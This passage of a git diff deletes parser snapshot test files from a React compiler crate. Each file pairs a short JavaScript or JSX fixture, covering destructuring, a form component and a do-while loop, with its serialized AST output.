-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          38,
-                          39
-                        ]
-                      },
-                      "value": {
-                        "type": "AssignmentPattern",
-                        "left": {
-                          "type": "ObjectPattern",
-                          "properties": [
-                            {
-                              "type": "Property",
-                              "key": {
-                                "type": "Identifier",
-                                "name": "y",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  43,
-                                  44
-                                ]
-                              },
-                              "value": {
-                                "type": "Identifier",
-                                "name": "y",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  43,
-                                  44
-                                ]
-                              },
-                              "kind": "init",
-                              "computed": false,
-                              "shorthand": true,
-                              "method": false,
-                              "loc": null,
-                              "range": [
-                                43,
-                                44
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            41,
-                            46
-                          ]
-                        },
-                        "right": {
-                          "type": "ObjectExpression",
-                          "properties": [
-                            {
-                              "type": "Property",
-                              "key": {
-                                "type": "Identifier",
-                                "name": "y",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  51,
-                                  52
-                                ]
-                              },
-                              "value": {
-                                "type": "StringLiteral",
-                                "value": "default",
-                                "loc": null,
-                                "range": [
-                                  54,
-                                  63
-                                ]
-                              },
-                              "kind": "init",
-                              "method": false,
-                              "shorthand": false,
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                51,
-                                63
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            49,
-                            65
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          41,
-                          65
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": false,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        38,
-                        65
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    36,
-                    67
-                  ]
-                },
-                "init": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      70,
-                      75
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      76,
-                      77
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    70,
-                    77
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  77
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              78
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                88,
-                89
-              ]
-            },
-            "loc": null,
-            "range": [
-              81,
-              90
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          92
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        92
-      ],
-      "loc": null,
-      "range": [
-        0,
-        92
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    92
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-object-param-default.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-object-param-default.js.snap
deleted file mode 100644
index 6f65940f5a11..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-object-param-default.js.snap
+++ /dev/null
@@ -1,137 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/destructuring-object-param-default.js
----
-Input:
-function Component({ a = 2 }) {
-  return a;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "ObjectPattern",
-          "properties": [
-            {
-              "type": "Property",
-              "key": {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  21,
-                  22
-                ]
-              },
-              "value": {
-                "type": "AssignmentPattern",
-                "left": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    21,
-                    22
-                  ]
-                },
-                "right": {
-                  "type": "NumericLiteral",
-                  "value": 2.0,
-                  "loc": null,
-                  "range": [
-                    25,
-                    26
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  21,
-                  26
-                ]
-              },
-              "kind": "init",
-              "computed": false,
-              "shorthand": true,
-              "method": false,
-              "loc": null,
-              "range": [
-                21,
-                26
-              ]
-            }
-          ],
-          "loc": null,
-          "range": [
-            19,
-            28
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                41,
-                42
-              ]
-            },
-            "loc": null,
-            "range": [
-              34,
-              43
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          30,
-          45
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        45
-      ],
-      "loc": null,
-      "range": [
-        0,
-        45
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    45
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-property-inference.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-property-inference.js.snap
deleted file mode 100644
index ea2acbce785d..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring-property-inference.js.snap
+++ /dev/null
@@ -1,337 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/destructuring-property-inference.js
----
-Input:
-function Component(props) {
-  const x = [];
-  x.push(props.value);
-  const { length: y } = x;
-  foo(y);
-  return [x, y];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    36,
-                    37
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    40,
-                    42
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  36,
-                  42
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              43
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    46,
-                    47
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    48,
-                    52
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  46,
-                  52
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "props",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      53,
-                      58
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "value",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      59,
-                      64
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    53,
-                    64
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                46,
-                65
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              46,
-              66
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ObjectPattern",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "length",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          77,
-                          83
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          85,
-                          86
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": false,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        77,
-                        86
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    75,
-                    88
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    91,
-                    92
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  75,
-                  92
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              69,
-              93
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  96,
-                  99
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    100,
-                    101
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                96,
-                102
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              96,
-              103
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    114,
-                    115
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    117,
-                    118
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                113,
-                119
-              ]
-            },
-            "loc": null,
-            "range": [
-              106,
-              120
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          122
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        122
-      ],
-      "loc": null,
-      "range": [
-        0,
-        122
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    122
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring.js.snap
deleted file mode 100644
index 4e65c175242f..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@destructuring.js.snap
+++ /dev/null
@@ -1,536 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/destructuring.js
----
-Input:
-function foo(a, b, c) {
-  const [
-    d,
-    [
-      {
-        e: { f },
-        ...g
-      },
-    ],
-    ...h
-  ] = a;
-  const {
-    l: {
-      m: [[n], ...o],
-    },
-    p,
-  } = b;
-  return [d, f, g, h, n, o, p];
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "b",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            16,
-            17
-          ]
-        },
-        {
-          "type": "Identifier",
-          "name": "c",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "d",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        38,
-                        39
-                      ]
-                    },
-                    {
-                      "type": "ArrayPattern",
-                      "elements": [
-                        {
-                          "type": "ObjectPattern",
-                          "properties": [
-                            {
-                              "type": "Property",
-                              "key": {
-                                "type": "Identifier",
-                                "name": "e",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  63,
-                                  64
-                                ]
-                              },
-                              "value": {
-                                "type": "ObjectPattern",
-                                "properties": [
-                                  {
-                                    "type": "Property",
-                                    "key": {
-                                      "type": "Identifier",
-                                      "name": "f",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        68,
-                                        69
-                                      ]
-                                    },
-                                    "value": {
-                                      "type": "Identifier",
-                                      "name": "f",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        68,
-                                        69
-                                      ]
-                                    },
-                                    "kind": "init",
-                                    "computed": false,
-                                    "shorthand": true,
-                                    "method": false,
-                                    "loc": null,
-                                    "range": [
-                                      68,
-                                      69
-                                    ]
-                                  }
-                                ],
-                                "loc": null,
-                                "range": [
-                                  66,
-                                  71
-                                ]
-                              },
-                              "kind": "init",
-                              "computed": false,
-                              "shorthand": false,
-                              "method": false,
-                              "loc": null,
-                              "range": [
-                                63,
-                                71
-                              ]
-                            },
-                            {
-                              "type": "RestElement",
-                              "argument": {
-                                "type": "Identifier",
-                                "name": "g",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  84,
-                                  85
-                                ]
-                              },
-                              "loc": null,
-                              "range": [
-                                81,
-                                85
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            53,
-                            93
-                          ]
-                        }
-                      ],
-                      "loc": null,
-                      "range": [
-                        45,
-                        100
-                      ]
-                    },
-                    {
-                      "type": "RestElement",
-                      "argument": {
-                        "type": "Identifier",
-                        "name": "h",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          109,
-                          110
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        106,
-                        110
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    32,
-                    114
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    117,
-                    118
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  32,
-                  118
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              119
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ObjectPattern",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "l",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          134,
-                          135
-                        ]
-                      },
-                      "value": {
-                        "type": "ObjectPattern",
-                        "properties": [
-                          {
-                            "type": "Property",
-                            "key": {
-                              "type": "Identifier",
-                              "name": "m",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                145,
-                                146
-                              ]
-                            },
-                            "value": {
-                              "type": "ArrayPattern",
-                              "elements": [
-                                {
-                                  "type": "ArrayPattern",
-                                  "elements": [
-                                    {
-                                      "type": "Identifier",
-                                      "name": "n",
-                                      "typeAnnotation": null,
-                                      "loc": null,
-                                      "range": [
-                                        150,
-                                        151
-                                      ]
-                                    }
-                                  ],
-                                  "loc": null,
-                                  "range": [
-                                    149,
-                                    152
-                                  ]
-                                },
-                                {
-                                  "type": "RestElement",
-                                  "argument": {
-                                    "type": "Identifier",
-                                    "name": "o",
-                                    "typeAnnotation": null,
-                                    "loc": null,
-                                    "range": [
-                                      157,
-                                      158
-                                    ]
-                                  },
-                                  "loc": null,
-                                  "range": [
-                                    154,
-                                    158
-                                  ]
-                                }
-                              ],
-                              "loc": null,
-                              "range": [
-                                148,
-                                159
-                              ]
-                            },
-                            "kind": "init",
-                            "computed": false,
-                            "shorthand": false,
-                            "method": false,
-                            "loc": null,
-                            "range": [
-                              145,
-                              159
-                            ]
-                          }
-                        ],
-                        "loc": null,
-                        "range": [
-                          137,
-                          166
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": false,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        134,
-                        166
-                      ]
-                    },
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "p",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          172,
-                          173
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "p",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          172,
-                          173
-                        ]
-                      },
-                      "kind": "init",
-                      "computed": false,
-                      "shorthand": true,
-                      "method": false,
-                      "loc": null,
-                      "range": [
-                        172,
-                        173
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    128,
-                    178
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    181,
-                    182
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  128,
-                  182
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              122,
-              183
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "ArrayExpression",
-              "elements": [
-                {
-                  "type": "Identifier",
-                  "name": "d",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    194,
-                    195
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "f",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    197,
-                    198
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "g",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    200,
-                    201
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "h",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    203,
-                    204
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "n",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    206,
-                    207
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "o",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    209,
-                    210
-                  ]
-                },
-                {
-                  "type": "Identifier",
-                  "name": "p",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    212,
-                    213
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                193,
-                214
-              ]
-            },
-            "loc": null,
-            "range": [
-              186,
-              215
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          217
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        217
-      ],
-      "loc": null,
-      "range": [
-        0,
-        217
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    217
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@disable-jsx-memoization.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@disable-jsx-memoization.js.snap
deleted file mode 100644
index da74f256e2d0..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@disable-jsx-memoization.js.snap
+++ /dev/null
@@ -1,474 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/disable-jsx-memoization.js
----
-Input:
-// @memoizeJsxElements false
-function Component(props) {
-  const [name, setName] = useState(null);
-  const onChange = function (e) {
-    setName(e.target.value);
-  };
-  return (
-    <form>
-      <input onChange={onChange} value={name} />
-    </form>
-  );
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          38,
-          47
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            48,
-            53
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "ArrayPattern",
-                  "elements": [
-                    {
-                      "type": "Identifier",
-                      "name": "name",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        66,
-                        70
-                      ]
-                    },
-                    {
-                      "type": "Identifier",
-                      "name": "setName",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        72,
-                        79
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    65,
-                    80
-                  ]
-                },
-                "init": {
-                  "type": "CallExpression",
-                  "callee": {
-                    "type": "Identifier",
-                    "name": "useState",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      83,
-                      91
-                    ]
-                  },
-                  "arguments": [
-                    {
-                      "type": "NullLiteral",
-                      "loc": null,
-                      "range": [
-                        92,
-                        96
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    83,
-                    97
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  65,
-                  97
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              59,
-              98
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onChange",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    107,
-                    115
-                  ]
-                },
-                "init": {
-                  "type": "FunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "e",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        128,
-                        129
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "setName",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              137,
-                              144
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "e",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    145,
-                                    146
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "target",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    147,
-                                    153
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  145,
-                                  153
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "value",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  154,
-                                  159
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                145,
-                                159
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            137,
-                            160
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          137,
-                          161
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      131,
-                      165
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    118,
-                    165
-                  ],
-                  "loc": null,
-                  "range": [
-                    118,
-                    165
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  107,
-                  165
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              101,
-              166
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "form",
-                  "loc": null,
-                  "range": [
-                    183,
-                    187
-                  ]
-                },
-                "attributes": [],
-                "selfClosing": false,
-                "loc": null,
-                "range": [
-                  182,
-                  188
-                ]
-              },
-              "children": [
-                {
-                  "type": "JSXText",
-                  "value": "\n      ",
-                  "raw": "\n      ",
-                  "loc": null,
-                  "range": [
-                    188,
-                    195
-                  ]
-                },
-                {
-                  "type": "JSXElement",
-                  "openingElement": {
-                    "type": "JSXOpeningElement",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "input",
-                      "loc": null,
-                      "range": [
-                        196,
-                        201
-                      ]
-                    },
-                    "attributes": [
-                      {
-                        "type": "JSXAttribute",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "onChange",
-                          "loc": null,
-                          "range": [
-                            202,
-                            210
-                          ]
-                        },
-                        "value": {
-                          "type": "JSXExpressionContainer",
-                          "expression": {
-                            "type": "Identifier",
-                            "name": "onChange",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              212,
-                              220
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            211,
-                            221
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          202,
-                          221
-                        ]
-                      },
-                      {
-                        "type": "JSXAttribute",
-                        "name": {
-                          "type": "JSXIdentifier",
-                          "name": "value",
-                          "loc": null,
-                          "range": [
-                            222,
-                            227
-                          ]
-                        },
-                        "value": {
-                          "type": "JSXExpressionContainer",
-                          "expression": {
-                            "type": "Identifier",
-                            "name": "name",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              229,
-                              233
-                            ]
-                          },
-                          "loc": null,
-                          "range": [
-                            228,
-                            234
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          222,
-                          234
-                        ]
-                      }
-                    ],
-                    "selfClosing": true,
-                    "loc": null,
-                    "range": [
-                      195,
-                      237
-                    ]
-                  },
-                  "children": [],
-                  "closingElement": null,
-                  "loc": null,
-                  "range": [
-                    195,
-                    237
-                  ]
-                },
-                {
-                  "type": "JSXText",
-                  "value": "\n    ",
-                  "raw": "\n    ",
-                  "loc": null,
-                  "range": [
-                    237,
-                    242
-                  ]
-                }
-              ],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXIdentifier",
-                  "name": "form",
-                  "loc": null,
-                  "range": [
-                    244,
-                    248
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  242,
-                  249
-                ]
-              },
-              "loc": null,
-              "range": [
-                182,
-                249
-              ]
-            },
-            "loc": null,
-            "range": [
-              169,
-              254
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          55,
-          256
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        29,
-        256
-      ],
-      "loc": null,
-      "range": [
-        29,
-        256
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    29,
-    256
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-break.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-break.js.snap
deleted file mode 100644
index 8f06f85d8e2b..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@do-while-break.js.snap
+++ /dev/null
@@ -1,147 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/do-while-break.js
----
-Input:
-function Component(props) {
-  do {
-    break;
-  } while (props.cond);
-  return props;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "DoWhileStatement",
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "BreakStatement",
-                  "label": null,
-                  "loc": null,
-                  "range": [
-                    39,
-                    45
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                33,
-                49
-              ]
-            },
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
